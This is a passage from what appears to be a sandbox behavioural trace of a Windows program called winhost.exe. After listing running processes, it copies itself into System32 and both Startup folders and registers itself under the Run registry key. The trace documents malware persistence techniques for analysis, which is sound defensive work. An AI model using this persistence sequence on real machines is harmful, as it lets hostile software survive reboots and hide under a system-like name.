cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.259] lstrlenW (lpString="svchost.exe") returned 11 [0202.259] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.260] lstrlenW (lpString="svchost.exe") returned 11 [0202.260] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0202.260] lstrlenW (lpString="dwm.exe") returned 7 [0202.260] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x44c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0202.261] lstrlenW (lpString="explorer.exe") returned 12 [0202.261] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0202.261] lstrlenW (lpString="spoolsv.exe") returned 11 [0202.261] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0202.262] lstrlenW (lpString="taskhost.exe") returned 12 [0202.262] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.262] lstrlenW (lpString="svchost.exe") returned 11 [0202.262] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x610, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x350, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0202.262] lstrlenW (lpString="taskeng.exe") returned 11 [0202.263] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="innovative sapphire.exe")) returned 1 [0202.263] lstrlenW (lpString="innovative sapphire.exe") returned 23 [0202.263] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="nova.exe")) returned 1 [0202.263] lstrlenW (lpString="nova.exe") returned 8 [0202.263] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="attitude discussions wives.exe")) returned 1 [0202.264] lstrlenW (lpString="attitude discussions wives.exe") returned 30 [0202.264] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="demonstrate term dressing.exe")) returned 1 [0202.264] lstrlenW (lpString="demonstrate term dressing.exe") returned 29 [0202.264] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="picks blair.exe")) returned 1 [0202.265] lstrlenW (lpString="picks blair.exe") returned 15 [0202.265] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="posted_boating_anthony.exe")) returned 1 [0202.265] lstrlenW (lpString="posted_boating_anthony.exe") returned 26 [0202.265] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="principal.exe")) returned 1 [0202.266] lstrlenW (lpString="principal.exe") returned 13 [0202.266] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation.exe")) returned 1 [0202.266] lstrlenW (lpString="transportation.exe") returned 18 [0202.266] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bind-representation-scared.exe")) returned 1 [0202.267] lstrlenW (lpString="bind-representation-scared.exe") returned 30 [0202.267] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="supplements-reynolds.exe")) returned 1 [0202.267] lstrlenW (lpString="supplements-reynolds.exe") returned 24 [0202.267] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="planned.exe")) returned 1 [0202.268] lstrlenW (lpString="planned.exe") returned 11 [0202.268] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="springer andrew.exe")) returned 1 [0202.268] lstrlenW (lpString="springer andrew.exe") returned 19 [0202.268] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cakes import.exe")) returned 1 [0202.268] lstrlenW (lpString="cakes import.exe") returned 16 [0202.268] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="theory.exe")) returned 1 [0202.269] lstrlenW (lpString="theory.exe") returned 10 [0202.269] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="linuxsouthantiques.exe")) returned 1 [0202.269] lstrlenW (lpString="linuxsouthantiques.exe") returned 22 [0202.269] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="saturn acknowledge rover.exe")) returned 1 [0202.270] lstrlenW (lpString="saturn acknowledge rover.exe") returned 28 [0202.270] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="tuition-flour-challenges.exe")) returned 1 [0202.270] lstrlenW (lpString="tuition-flour-challenges.exe") returned 28 [0202.270] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="raises_softball_tramadol.exe")) returned 1 [0202.271] lstrlenW (lpString="raises_softball_tramadol.exe") returned 28 [0202.271] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="indicescancellation.exe")) returned 1 [0202.271] lstrlenW (lpString="indicescancellation.exe") returned 23 [0202.271] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="keeping-guys-essence.exe")) returned 1 [0202.272] lstrlenW (lpString="keeping-guys-essence.exe") returned 24 [0202.272] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="desk.exe")) returned 1 [0202.272] lstrlenW (lpString="desk.exe") returned 8 [0202.272] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.273] lstrlenW (lpString="svchost.exe") returned 11 [0202.273] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0202.273] lstrlenW (lpString="sppsvc.exe") returned 10 [0202.273] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.274] lstrlenW (lpString="svchost.exe") returned 11 [0202.274] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0202.274] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0202.274] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0202.275] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0202.275] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x960, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0202.275] lstrlenW (lpString="winhost.exe") returned 11 [0202.275] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x960, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 0 [0202.275] CloseHandle (hObject=0xe0) returned 1 [0202.276] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x60b5f0, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\winhost.exe")) returned 0x31 [0202.277] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0202.277] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\winhost.exe", lpDst=0x61b5f8, nSize=0x7fff | out: lpDst="C:\\Windows\\System32\\winhost.exe") returned 0x20 [0202.277] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x773b0000 [0202.277] GetProcAddress (hModule=0x773b0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x773dd650 [0202.277] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x0) returned 1 [0202.277] lstrlenW (lpString="kernel32.dll") returned 12 [0202.278] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0202.278] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\winhost.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0202.278] CreateFileW (lpFileName="C:\\Windows\\System32\\winhost.exe" (normalized: "c:\\windows\\system32\\winhost.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0202.278] ReadFile (in: hFile=0xe0, lpBuffer=0x1de0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x1de0020*, lpNumberOfBytesRead=0x18fd98*=0x100000, lpOverlapped=0x0) returned 1 [0202.291] WriteFile (in: hFile=0xe4, lpBuffer=0x1de0020*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x1de0020*, lpNumberOfBytesWritten=0x18fd98*=0x100000, lpOverlapped=0x0) returned 1 [0202.304] ReadFile (in: hFile=0xe0, lpBuffer=0x1de0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x1de0020*, lpNumberOfBytesRead=0x18fd98*=0xf1000, lpOverlapped=0x0) returned 1 [0202.315] WriteFile (in: hFile=0xe4, lpBuffer=0x1de0020*, nNumberOfBytesToWrite=0xf1000, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x1de0020*, lpNumberOfBytesWritten=0x18fd98*=0xf1000, lpOverlapped=0x0) returned 1 [0202.330] ReadFile (in: hFile=0xe0, lpBuffer=0x1de0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x1de0020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0202.330] CloseHandle (hObject=0xe4) returned 1 [0202.349] CloseHandle (hObject=0xe0) returned 1 [0202.349] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x773b0000 [0202.349] GetProcAddress (hModule=0x773b0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x773dd650 [0202.349] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0202.349] lstrlenW (lpString="kernel32.dll") returned 12 [0202.349] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0202.353] lstrlenW (lpString="C:\\Windows\\System32\\winhost.exe") returned 31 [0202.353] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0202.353] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18fd6c | out: phkResult=0x18fd6c*=0xe0) returned 0x0 [0202.353] RegSetValueExW (in: hKey=0xe0, lpValueName="winhost.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\winhost.exe", cbData=0x3e | out: lpData="C:\\Windows\\System32\\winhost.exe") returned 0x0 [0202.353] RegCloseKey (hKey=0xe0) returned 0x0 [0202.353] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0202.354] lstrlenW (lpString="") returned 0 [0202.354] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0202.354] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe0) returned 0x0 [0202.354] RegQueryValueExW (in: hKey=0xe0, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x62d600, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x0, lpData=0x62d600*=0x53, lpcbData=0x18fd50*=0x7fff) returned 0x2 [0202.354] RegCloseKey (hKey=0xe0) returned 0x0 [0202.354] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0202.354] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0202.354] RegQueryValueExW (in: hKey=0xe4, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x62d600, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x98) returned 0x0 [0202.354] RegCloseKey (hKey=0xe4) returned 0x0 [0202.354] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0202.354] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0202.354] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe", lpDst=0x61d5f8, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe") returned 0x68 [0202.355] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x773b0000 [0202.355] GetProcAddress (hModule=0x773b0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x773dd650 [0202.355] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0202.355] lstrlenW (lpString="kernel32.dll") returned 12 [0202.355] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0202.355] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\winhost.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0202.355] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0202.356] ReadFile (in: hFile=0xe4, lpBuffer=0x1de0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x1de0020*, lpNumberOfBytesRead=0x18fd98*=0x100000, lpOverlapped=0x0) returned 1 [0202.370] WriteFile (in: hFile=0xe8, lpBuffer=0x1de0020*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x1de0020*, lpNumberOfBytesWritten=0x18fd98*=0x100000, lpOverlapped=0x0) returned 1 [0202.383] ReadFile (in: hFile=0xe4, lpBuffer=0x1de0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x1de0020*, lpNumberOfBytesRead=0x18fd98*=0xf1000, lpOverlapped=0x0) returned 1 [0202.384] WriteFile (in: hFile=0xe8, lpBuffer=0x1de0020*, nNumberOfBytesToWrite=0xf1000, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x1de0020*, lpNumberOfBytesWritten=0x18fd98*=0xf1000, lpOverlapped=0x0) returned 1 [0202.401] ReadFile (in: hFile=0xe4, lpBuffer=0x1de0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x1de0020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0202.401] CloseHandle (hObject=0xe8) returned 1 [0202.415] CloseHandle (hObject=0xe4) returned 1 [0202.416] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x773b0000 [0202.416] GetProcAddress (hModule=0x773b0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x773dd650 [0202.416] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0202.416] lstrlenW (lpString="kernel32.dll") returned 12 [0202.416] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0202.420] lstrlenW (lpString="") returned 0 [0202.420] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0202.420] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0202.420] RegQueryValueExW (in: hKey=0xe4, lpValueName="Common Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x62d600, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x78) returned 0x0 [0202.420] RegCloseKey (hKey=0xe4) returned 0x0 [0202.420] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0202.420] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0202.420] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe", lpDst=0x61d5f8, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe") returned 0x49 [0202.420] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x773b0000 [0202.420] GetProcAddress (hModule=0x773b0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x773dd650 [0202.420] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0202.420] lstrlenW (lpString="kernel32.dll") returned 12 [0202.420] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0202.420] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\winhost.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0202.421] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\winhost.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\winhost.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0202.421] ReadFile (in: hFile=0xe4, lpBuffer=0x1de0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x1de0020*, lpNumberOfBytesRead=0x18fd98*=0x100000, lpOverlapped=0x0) returned 1 [0202.431] WriteFile (in: hFile=0xe8, lpBuffer=0x1de0020*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x1de0020*, lpNumberOfBytesWritten=0x18fd98*=0x100000, lpOverlapped=0x0) returned 1 [0202.453] ReadFile (in: hFile=0xe4, lpBuffer=0x1de0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x1de0020*, lpNumberOfBytesRead=0x18fd98*=0xf1000, lpOverlapped=0x0) returned 1 [0202.454] WriteFile (in: hFile=0xe8, lpBuffer=0x1de0020*, nNumberOfBytesToWrite=0xf1000, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x1de0020*, lpNumberOfBytesWritten=0x18fd98*=0xf1000, lpOverlapped=0x0) returned 1 [0202.470] ReadFile (in: hFile=0xe4, lpBuffer=0x1de0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x1de0020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0202.470] CloseHandle (hObject=0xe8) returned 1 [0202.483] CloseHandle (hObject=0xe4) returned 1 [0202.483] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x773b0000 [0202.484] GetProcAddress (hModule=0x773b0000, 